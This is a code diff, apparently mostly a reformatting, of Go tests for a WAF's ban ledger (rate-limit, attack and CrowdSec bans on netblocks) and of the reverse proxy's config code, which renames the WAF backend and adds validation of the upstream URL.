-		t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
+		t.Errorf(
+			"find during the ban gives %+v and %t, want %+v",
+			got,
+			banned,
+			ban,
+		)
 	}
 
 	_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
@@ -192,12 +261,21 @@ func TestFindCountsNothing(t *testing.T) {
 		t.Error("the ban did not end")
 	}
 
-	if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
-		t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
+	if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(
+		notes,
+		ban.Notes,
+	) {
+		t.Errorf(
+			"the notes are %+v, want them unchanged, %+v",
+			notes,
+			ban.Notes,
+		)
 	}
 }
 
-func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
+func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	params := defaultParams()
@@ -230,7 +308,10 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
 	wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
 
 	if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
-		t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
+		t.Errorf(
+			"a kept its ban of %s, want the later one",
+			ledger.Bans(a)[0].Start,
+		)
 	}
 }
 
@@ -263,41 +344,70 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
 	notes := bans.Notes{RuleID: "env-file", Target: "path"}
 
 	ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
-	if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
-		ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
+	if !ban.Expires.Equal(midnight().Add(7*day)) ||
+		ban.Cause != bans.CauseAttack ||
+		ban.Notes.RuleID != "env-file" ||
+		ledger.Made(bans.CauseAttack) != 1 ||
 		ledger.Made(bans.CauseLimit) != 0 {
-		t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
-			"want one for an attack, of seven days", ban,
-			ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
+		t.Fatalf(
+			"the ban is %+v, with %d made for an attack and %d for a limit, "+
+				"want one for an attack, of seven days",
+			ban,
+			ledger.Made(bans.CauseAttack),
+			ledger.Made(bans.CauseLimit),
+		)
 	}
 
 	wantChanged(t, ledger, true)
 
 	// In observe mode the ban refuses nothing, and stays as it is, while
 	// Find tells that the request would have made it permanent.
-	got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
-	if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
-		t.Fatalf("a request found under the ban left it %+v, would have made it "+
-			"permanent %t, want it as it was, and true", got, wouldMakePermanent)
+	got, _, wouldMakePermanent := ledger.Find(
+		netblock.Addr(),
+		midnight().Add(time.Hour),
+	)
+	if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
+		!wouldMakePermanent {
+		t.Fatalf(
+			"a request found under the ban left it %+v, would have made it "+
+				"permanent %t, want it as it was, and true",
+			got,
+			wouldMakePermanent,
+		)
 	}
 
 	wantChanged(t, ledger, false)
 
 	// A request it refuses makes it permanent, says so, and makes
 	// bans.json due.
-	got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
-	if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
-		t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
-			"want it made permanent", got, madePermanent)
+	got, _, madePermanent := ledger.Check(
+		netblock.Addr(),
+		midnight().Add(time.Hour),
+	)
+	if !madePermanent || !got.Permanent() ||
+		!ledger.Bans(netblock)[0].Permanent() {
+		t.Fatalf(
+			"after a request during the ban, it is %+v, made permanent %t, "+
+				"want it made permanent",
+			got,
+			madePermanent,
+		)
 	}
 
 	wantChanged(t, ledger, true)
 
 	// The next request finds it permanent already.
-	_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
+	_, banned, madePermanent := ledger.Check(
+		netblock.Addr(),
+		midnight().Add(100*365*day),
+	)
 	if !banned || madePermanent {
-		t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
-			"want banned by the permanent ban", banned, madePermanent)
+		t.Errorf(
+			"a later request is banned %t, and made the ban permanent %t, "+
+				"want banned by the permanent ban",
+			banned,
+			madePermanent,
+		)
 	}
 }
 
@@ -325,7 +435,11 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
 
 	// Its notes show the earlier ban for an attack that makes it permanent,
 	// beside the one for a limit.
-	third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
+	third, _ := ledger.BanForAttack(
+		netblock,
+		second.Expires.Add(30*day),
+		bans.Notes{},
+	)
 	if !third.Permanent() ||
 		third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
 		t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -342,10 +456,18 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
 	wantChanged(t, ledger, true)
 
 	// While the first ban lasts, none would be made.
-	during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
+	during, would := ledger.WouldBanForAttack(
+		netblock,
+		midnight(),
+		bans.Notes{},
+	)
 	if would || !reflect.DeepEqual(during, first) {
-		t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
-			would, during, first)
+		t.Errorf(
+			"during the first ban, would ban %t with %+v, want false with %+v",
+			would,
+			during,
+			first,
+		)
 	}
 
 	// As it ends, a clear sign of attack would ban for seven days, and a
@@ -353,19 +475,31 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
 	limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
 	attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
 		bans.Notes{RuleID: "git-dir"})
-	limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
+	limit, wouldLimit := ledger.WouldBanForLimit(
+		netblock,
+		first.Expires,
+		limitNotes,
+	)
 
 	if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
 		attack.Reason != "matched the rule git-dir" || !wouldLimit ||
 		!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
 		limit.Reason != "requests per minute over the limit of 1" {
-		t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
-			"three hours for the limit", attack, limit)
+		t.Errorf(
+			"would ban with %+v and %+v, want seven days for the attack and "+
+				"three hours for the limit",
+			attack,
+			limit,
+		)
 	}
 
-	if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
+	if len(ledger.Bans(netblock)) != 1 ||
+		ledger.Made(bans.CauseLimit) != 1 ||
 		ledger.Made(bans.CauseAttack) != 0 {
-		t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
+		t.Errorf(
+			"the ledger holds %+v, want the first ban alone",
+			ledger.Bans(netblock),
+		)
 	}
 
 	wantChanged(t, ledger, false)
@@ -422,7 +556,8 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
 	attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
 	limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
 
-	if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
+	if limit.Expires.Sub(limit.Start) != time.Hour ||
+		limit.Cause != bans.CauseLimit {
 		t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
 	}
 
@@ -443,15 +578,23 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
 		Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
 	}
 
-	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
+	ban, _ := ledger.BanForLimit(
+		netblock,
+		midnight(),
+		bans.Notes{Request: request},
+	)
 
 	cut := long[:256]
 	want := bans.Request{
 		Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
 	}
 
-	if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
-		t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
+	if ban.Notes.Request != want ||
+		ledger.Bans(netblock)[0].Notes.Request != want {
+		t.Errorf(
+			"the notes keep %+v, want each text cut to 256 bytes",
+			ban.Notes.Request,
+		)
 	}
 }
 
@@ -482,13 +625,23 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
 		{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
 	} {
 		got := held[i].Notes
-		if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
-			t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
-				got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
+		if got.ASN != want.ASN || got.ASName != want.ASName ||
+			got.Country != want.Country {
+			t.Errorf(
+				"ban %d's notes give %q, %q and %q, want %q, %q and %q",
+				i+1,
+				got.ASN,
+				got.ASName,
+				got.Country,
+				want.ASN,
+				want.ASName,
+				want.Country,
+			)
 		}
 	}
 
-	if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
+	if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" ||
+		notes.Country != "" {
 		t.Errorf("the ban on %s has %q and %q, want neither",
 			other, notes.ASN, notes.Country)
 	}

internal/bans/crowdsec_test.go

@@ -20,29 +20,55 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
 	expires := midnight().Add(4 * time.Hour)
 
 	// The ban that would be made is not made.
-	would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
-		scenario, bans.Notes{})
+	would, wouldBan := ledger.WouldBanForCrowdSec(
+		netblock,
+		midnight(),
+		expires,
+		scenario,
+		bans.Notes{},
+	)
 	if !wouldBan || len(ledger.Bans(netblock)) != 0 {
-		t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
-			wouldBan, ledger.Bans(netblock))
+		t.Errorf(
+			"would ban %t, and the ledger holds %+v, want true and nothing",
+			wouldBan,
+			ledger.Bans(netblock),
+		)
 	}
 
 	const reason = "CrowdSec's decision for " + scenario
 
-	ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
-		bans.Notes{})
-	if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
-		!ban.Expires.Equal(expires) || ban.Reason != reason ||
+	ban, made := ledger.BanForCrowdSec(
+		netblock,
+		midnight(),
+		expires,
+		scenario,
+		bans.Notes{},
+	)
+	if !made || !reflect.DeepEqual(ban, would) ||
+		ban.Cause != bans.CauseCrowdSec ||
+		!ban.Expires.Equal(expires) ||
+		ban.Reason != reason ||
 		ledger.Made(bans.CauseCrowdSec) != 1 {
-		t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
-			"crowdsec until %s", made, ban, would, expires)
+		t.Errorf(
+			"made %t the ban %+v, want the one that would be made, %+v, for "+
+				"crowdsec until %s",
+			made,
+			ban,
+			would,
+			expires,
+		)
 	}
 
 	// A second decision on the netblock while the ban lasts makes no other.
 	again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
 		expires.Add(time.Hour), scenario, bans.Notes{})
-	if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
-		t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
+	if made || !again.Expires.Equal(expires) ||
+		ledger.Made(bans.CauseCrowdSec) != 1 {
+		t.Errorf(
+			"made %t the ban %+v while the first lasts, want none",
+			made,
+			again,
+		)
 	}
 }
 
@@ -52,7 +78,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	ledger := bans.New(defaultParams())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 	expires := midnight().Add(4 * time.Hour)
-	ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
+	ledger.BanForCrowdSec(
+		netblock,
+		midnight(),
+		expires,
+		scenario,
+		bans.Notes{},
+	)
 
 	// A request as the ban ends is refused, and leaves it as it is.
 	last := expires.Add(-time.Nanosecond)
@@ -60,8 +92,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
 	if !banned || madePermanent || !held.Expires.Equal(expires) ||
 		ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
-		t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
-			"refused under the ban as it was", banned, held, madePermanent)
+		t.Errorf(
+			"as the ban ends, banned %t with %+v, made permanent %t, want "+
+				"refused under the ban as it was",
+			banned,
+			held,
+			madePermanent,
+		)
 	}
 
 	if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
@@ -69,7 +106,9 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	}
 }
 
-func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
+func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	ledger := bans.New(defaultParams())
@@ -78,13 +117,20 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T)
 	// Three times the three days would be permanent; a limit broken as the
 	// ban for CrowdSec's decision ends bans for an hour, as a first broken
 	// limit does.
-	crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
-		scenario, bans.Notes{})
+	crowdSec, _ := ledger.BanForCrowdSec(
+		netblock,
+		midnight(),
+		midnight().Add(3*day),
+		scenario,
+		bans.Notes{},
+	)
 	limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
 
 	if limit.Expires.Sub(limit.Start) != time.Hour ||
 		limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
-		t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
-			limit)
+		t.Errorf(
+			"the ban for a limit is %+v, want one of an hour after one for crowdsec",
+			limit,
+		)
 	}
 }

internal/bans/snapshot_test.go

@@ -29,8 +29,16 @@ func TestChangedAfterABanIsMade(t *testing.T) {
 	wantChanged(t, ledger, false)
 
 	// Two bans before the value is read leave one.
-	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
-	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
+	ledger.BanForLimit(
+		netip.MustParsePrefix("203.0.113.10/32"),
+		midnight(),
+		bans.Notes{},
+	)
+	ledger.BanForLimit(
+		netip.MustParsePrefix("203.0.113.11/32"),
+		midnight(),
+		bans.Notes{},
+	)
 	wantChanged(t, ledger, true)
 	wantChanged(t, ledger, false)
 }
@@ -52,7 +60,10 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
 
 	got := make([]string, 0, len(snapshot))
 	for _, ban := range snapshot {
-		got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
+		got = append(
+			got,
+			ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
+		)
 	}
 
 	want := []string{
@@ -77,7 +88,10 @@ func TestLoadedBansCarryOn(t *testing.T) {
 	after := bans.New(defaultParams())
 	after.Load(before.Snapshot())
 
-	_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
+	_, banned, _ := after.Check(
+		netblock.Addr(),
+		ban.Expires.Add(-time.Second),
+	)
 	if !banned {
 		t.Error("the loaded ban does not refuse")
 	}
@@ -85,8 +99,11 @@ func TestLoadedBansCarryOn(t *testing.T) {
 	again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
 	if again.Expires.Sub(again.Start) != 3*time.Hour ||
 		again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-		t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
-			again.Expires.Sub(again.Start), again.Notes.EarlierBans)
+		t.Errorf(
+			"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
+			again.Expires.Sub(again.Start),
+			again.Notes.EarlierBans,
+		)
 	}
 }
 
@@ -98,10 +115,20 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
 	// ban covers, beside a ban the ledger makes on one IPv4 address.
 	ledger := bans.New(defaultParams())
 	ledger.Load([]bans.Ban{
-		{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
-		{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
+		{
+			Netblock: netip.MustParsePrefix("203.0.113.9/24"),
+			Start:    midnight(),
+		},
+		{
+			Netblock: netip.MustParsePrefix("2001:db8::1/48"),
+			Start:    midnight(),
+		},
 	})
-	ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
+	ledger.BanForLimit(
+		netip.MustParsePrefix("198.51.100.7/32"),
+		midnight(),
+		bans.Notes{},
+	)
 
 	for client, want := range map[string]bool{
 		"203.0.113.0":     true,
@@ -138,7 +165,10 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
 	// As when an admin adds a permanent ban to bans.json with a start
 	// before that of the netblock's ban that has ended.
 	netblock := netip.MustParsePrefix("203.0.113.0/24")
-	permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
+	permanent := bans.Ban{
+		Netblock: netblock,
+		Start:    midnight().Add(-time.Hour),
+	}
 	ended := bans.Ban{
 		Netblock: netblock,
 		Start:    midnight(),
@@ -153,20 +183,31 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
 
 	ban, banned, _ := ledger.Find(client, now)
 	if !banned || !ban.Permanent() {
-		t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
+		t.Errorf(
+			"find gives %+v and %t, want the permanent ban",
+			ban,
+			banned,
+		)
 	}
 
 	ban, banned, _ = ledger.Check(client, now)
 	if !banned || !ban.Permanent() {
-		t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
-			banned, ban)
+		t.Errorf(
+			"the client is refused: %t, under %+v, want under the permanent ban",
+			banned,
+			ban,
+		)
 	}
 
 	// A limit broken now makes no shorter ban over the permanent one.
 	ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
 	if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
-		t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
-			"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
+		t.Errorf(
+			"a broken limit returned %+v and left the netblock %d bans, "+
+				"want the permanent ban and 2",
+			ban,
+			len(ledger.Bans(netblock)),
+		)
 	}
 }
 
@@ -195,7 +236,11 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
 	// Once both have ended, a limit broken within the repeat window bans
 	// for three times the 9 hours, and the notes count the two bans
 	// before the 9-hour one and it, for a limit, and the admin's.
-	ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
+	ban, _ := ledger.BanForLimit(
+		netblock,
+		nineHours.Expires.Add(time.Hour),
+		bans.Notes{},
+	)
 	if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
 		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
 		t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -226,7 +271,10 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
 
 	held := ledger.Snapshot()
 	if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
-		t.Errorf("the ledger holds %+v, want only the ban that began later", held)
+		t.Errorf(
+			"the ledger holds %+v, want only the ban that began later",
+			held,
+		)
 	}
 }
 
@@ -256,16 +304,25 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
 	// bans.json is taken in, that ban is lifted.
 	ledger.Load([]bans.Ban{kept})
 
-	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
+	_, banned, _ := ledger.Check(
+		netip.MustParseAddr("203.0.113.9"),
+		midnight(),
+	)
 	if banned {
 		t.Error("a ban left out of the second load still refuses")
 	}
 
 	// The ledger holds one ban, so it makes two more without dropping any.
-	first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
-		bans.Notes{})
-	second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
-		bans.Notes{})
+	first, _ := ledger.BanForLimit(
+		netip.MustParsePrefix("198.51.100.7/32"),
+		midnight(),
+		bans.Notes{},
+	)
+	second, _ := ledger.BanForLimit(
+		netip.MustParsePrefix("198.51.100.8/32"),
+		midnight(),
+		bans.Notes{},
+	)
 
 	want := []bans.Ban{first, second, kept}
 	if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {

internal/config/rproxy.go

@@ -22,12 +22,12 @@ type RProxy struct {
 	// TrustedProxies are the netblocks whose X-Forwarded-For is believed
 	// (SWRP_TRUSTED_PROXIES).
 	TrustedProxies []netip.Prefix
-	// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
+	// WAFBackend is waf's URL (SWRP_WAF_BACKEND).
 	WAFBackend *url.URL
-	// Timeout is how long rproxy waits for discriminator's answer to a question,
+	// Timeout is how long rproxy waits for waf's answer to a question,
 	// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
 	Timeout time.Duration
-	// DefaultDisposition is what is done with a request when discriminator cannot be
+	// DefaultDisposition is what is done with a request when waf cannot be
 	// connected to, does not answer at all, or does not answer within Timeout:
 	// allow or deny (SWRP_DEFAULT_DISPOSITION).
 	DefaultDisposition string
@@ -48,14 +48,25 @@ type RProxy struct {
 	settings []slog.Attr
 }
 
+// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
+const defaultUpstreamURL = "http://127.0.0.1:8081"
+
+// privateRanges are the private address ranges, the default trusted
+// proxies.
+const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
+
 var (
+	errNotUpstreamURL = errors.New(
+		"is not a URL with only a scheme, a host and an optional port, " +
+			"such as http://127.0.0.1:8081")
 	errNeedsWAFBackend = errors.New(
-		"is required: it is discriminator's URL, such as http://discriminator:8080")
+		"is required: it is waf's URL, such as http://waf:8080")
 	errNotDisposition  = errors.New("is not allow or deny")
 	errNotMilliseconds = errors.New(
 		"is not a whole number of milliseconds above zero, such as 2000")
 	errNotMillisecondsOrOff = errors.New(
-		"is not a whole number of milliseconds above zero, such as 60000, or off")
+		"is not a whole number of milliseconds above zero, such as 60000, or off",
+	)
 )
 
 // RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
@@ -63,19 +74,36 @@ var (
 // SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
 // invalid is an error that names it. Since rproxy never touches disk, its
 // settings have no _FILE form.
-func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
+func RProxyFromEnvironment(
+	lookupEnv func(string) (string, bool),
+) (*RProxy, error) {
 	env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
 	cfg := &RProxy{
-		ListenAddr:         env.address("SWRP_LISTEN_ADDR"),
-		UpstreamURL:        env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
-		TrustedProxies:     env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
-		WAFBackend:         env.wafBackend("SWRP_WAF_BACKEND"),
-		Timeout:            env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
-		DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
-		MaxRequestSize:     env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
-		MaxResponseSize:    env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
-		MaxRequestTime:     env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
-		MaxResponseTime:    env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
+		ListenAddr: env.address("SWRP_LISTEN_ADDR"),
+		UpstreamURL: env.appURL(
+			"SWRP_UPSTREAM_URL",
+			defaultUpstreamURL,
+		),
+		TrustedProxies: env.netblocks(
+			"SWRP_TRUSTED_PROXIES",
+			privateRanges,
+		),
+		WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
+		Timeout:    env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
+		DefaultDisposition: env.disposition(
+			"SWRP_DEFAULT_DISPOSITION",
+			"allow",
+		),
+		MaxRequestSize:  env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
+		MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
+		MaxRequestTime: env.millisecondsOrOff(
+			"SWRP_MAX_REQUEST_TIME_MS",
+			"60000",
+		),
+		MaxResponseTime: env.millisecondsOrOff(
+			"SWRP_MAX_RESPONSE_TIME_MS",
+			"1800000",
+		),
 	}
 
 	if env.err != nil {
@@ -124,7 +152,15 @@ func (c *RProxy) LogValue() slog.Value {
 	return slog.GroupValue(c.settings...)
 }
 
-// wafBackend reads the setting that is discriminator's URL, which must be set.
+// appURL reads a setting that is the app's URL.
+func (e *environment) appURL(name, defaultValue string) *url.URL {
+	upstream, err := parseUpstreamURL(e.value(name, defaultValue))
+	e.check(name, err)
+
+	return upstream
+}
+
+// wafBackend reads the setting that is waf's URL, which must be set.
 func (e *environment) wafBackend(name string) *url.URL {
 	value := e.value(name, "")
 	if value == "" {
@@ -139,7 +175,7 @@ func (e *environment) wafBackend(name string) *url.URL {
 	return backend
 }
 
-// disposition reads the setting that is what is done with a request when discriminator
+// disposition reads the setting that is what is done with a request when waf
 // cannot be connected to, does not answer at all, or does not answer in time:
 // allow or deny.
 func (e *environment) disposition(name, defaultValue string) string {
@@ -166,7 +202,9 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
 
 // millisecondsOrOff reads a setting that is a whole number of milliseconds
 // above zero, or off, which is 0.
-func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
+func (e *environment) millisecondsOrOff(
+	name, defaultValue string,
+) time.Duration {
 	value := e.value(name, defaultValue)
 	if value == off {
 		return 0
@@ -190,3 +228,33 @@ func parseMilliseconds(value string) (time.Duration, bool) {
 
 	return time.Duration(n) * time.Millisecond, true
 }
+
+// parseUpstreamURL reads the app's URL: http or https, a host and an
+// optional port from 1 to 65535, and nothing else, since the request's
+// own path and query go to the app unchanged.
+func parseUpstreamURL(value string) (*url.URL, error) {
+	upstream, err := url.Parse(value)
+	if err != nil {
+		return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
+	}
+
+	onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
+		upstream.Hostname() != "" &&
+		upstream.User == nil &&
+		upstream.Opaque == "" &&
+		(upstream.Path == "" || upstream.Path == "/") &&
+		upstream.RawQuery == "" &&
+		upstream.Fragment == ""
+	if !onlySchemeAndHost {
+		return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
+	}
+
+	if upstream.Port() != "" {
+		port, err := strconv.ParseUint(upstream.Port(), 10, 16)
+		if err != nil || port == 0 {
+			return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
+		}
+	}
+
+	return upstream, nil
+}

internal/config/rproxy_test.go

@@ -24,7 +24,7 @@ const (
 	rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
 	rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
 	rproxyAnswerTime  = "SWRP_MAX_RESPONSE_TIME_MS"
-	backendURL        = "http://discriminator:8080"
+	backendURL        = "http://waf:8080"
 	rproxyDefaultAddr = ":8080"
 	rproxyDefaultApp  = "http://127.0.0.1:8081"
 	notASize          = "a lot"
@@ -50,18 +50,28 @@ func TestRProxyDefaults(t *testing.T) {
 	if cfg.ListenAddr != rproxyDefaultAddr ||
 		cfg.UpstreamURL.String() != rproxyDefaultApp ||
 		cfg.WAFBackend.String() != backendURL {
-		t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
+		t.Errorf(
+			"addresses %q, %v, %v",
+			cfg.ListenAddr,
+			cfg.UpstreamURL,
+			cfg.WAFBackend,
+		)
 	}
 
 	if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
-		t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
+		t.Errorf(
+			"timeout %v, default disposition %q",
+			cfg.Timeout,
+			cfg.DefaultDisposition,
+		)
 	}
 
 	if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
 		t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
 	}
 
-	if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
+	if cfg.MaxRequestTime != time.Minute ||
+		cfg.MaxResponseTime != 30*time.Minute {
 		t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
 	}
 
@@ -100,9 +110,12 @@ func TestRProxySettingsAreRead(t *testing.T) {
 		t.Errorf("addresses %+v", cfg)
 	}
 
-	if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
-		cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
